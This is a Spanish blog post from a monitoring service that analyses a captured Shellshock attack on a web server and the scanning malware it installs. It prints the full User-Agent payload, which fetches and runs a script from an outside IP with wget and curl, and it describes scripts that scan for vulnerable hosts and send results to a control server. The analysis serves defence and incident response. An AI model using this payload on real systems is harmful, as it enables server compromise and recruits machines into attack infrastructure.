Análisis de ataque web
Desde
el servicio de monitorización y alerta de Ariolo
muchas veces tenemos que analizar los ataques para comprobar si
realmente se trata de un falso positivo o por el contrario de
un
ataque que puede haber aprovechado una vulnerabilidad y comprometido
el servidor. Además,
mediante este servicio de respuesta a incidentes podemos recomendar y
ayudar a nuestros clientes a proteger sus servicios, así como
también ofrecer una rápida respuesta al ciber ataque.
Uno
de los ataques que no paramos de observar es el intento de hacerse
con los servidores webs mediante la vulnerabilidad de Shellshock
que afecta a equipos Linux. A
continuación podemos ver cómo la sonda Ariolo ha detectado un
intento de ataque al servidor web, debido
a
que la cabecera HTTP contiene comandos para que sean ejecutados por
el servidor:
Alarma de Ataque Web |
Si analizamos el paquete TCP con Wireshark podemos observar que el atributo User-Agent de la cabecera HTTP no se corresponde con Internet Explorer, Mozilla, etc sino más bien con un conjunto de comandos para que sean ejecutados por el servicio web.
Análisis Wireshark de la Alarma |
Concretamente
la cadena que contiene el atributo User-Agent es la siguiente:
()
{ :;};/usr/bin/perl -e 'print \"Content-Type:
text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /tmp;cd
/var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget
http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ;
fetch http://109.228.25.87/.c.txt ; lwp-download
http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* \");'
Donde podemos observar el ataque shellshock, que de ser satisfactorio
se encargará de limpiar los archivos temporales para actualizar o
descargar desde 109.228.25.87 el nuevo script .c.txt, que se
mantendrá oculto en la estructura de ficheros.
Si descargamos y analizamos el fichero .c.txt podemos ver que el
siguiente paso es matar los procesos que probablemente estuviese
utilizando la máquina si estuviera infectada por este “malware”.
A continuación descarga el archivo cc.tar desde 109.228.25.87, lo
descomprime y ejecuta el fichero llamado r.
Script .c.txt |
La labor principal del script r es preparar una clase que contendrá
una lista de ficheros y que será pasada por parámetro al script
start. Por la extensión del script r no voy a mostrarlo por
completo, pero para que os hagáis una idea la clase es class="xaa
xab xac … yyz”.
Script r |
El script start recibe por parámetro el nombre del fichero que tiene
que descargarse desde http://109.228.25.87/.ips-80.
Posteriormente comprueba si la máquina comprometida es de 64 o 32
bits para comenzar a realizar escaneos webs de las IPs que aparecen
en el fichero descargado y de las carpetas que se indican en el
fichero patch.
Script start |
Como podemos ver en la lista de directorios del fichero patch, los
directorios analizados se corresponden con cgi-bin y php para conocer
qué otras máquinas son vulnerables a Shellshock.
patch - lista de directorios |
Por último, el script start llama al script print que leerá los
resultados de los análisis desde el fichero t.log, línea por línea,
enviando cada línea mediante la variable i al servidor de control
109.228.25.87. El resultado de los envíos se almacena en el fichero
.tmp, oculto en el sistema de ficheros.
Script print |
Estamos ante un ataque sencillo de ejecutar y sencillo de analizar
que trata de utilizar nuestros recursos para realizar análisis webs.
Sin un procedimiento de parcheo periódico y sin herramientas IPS/IDS
este pequeño y discreto malware estaría dentro de nuestro servidor
web, que ahora está realizando análisis webs pero que después
podría ser actualizado para otras funciones como por ejemplo envío
de spam.
Un
saludo amigos y recuerda, lo
primero que te venga a la cabeza ¡escríbelo en un comentario!
Commentaires
Enregistrer un commentaire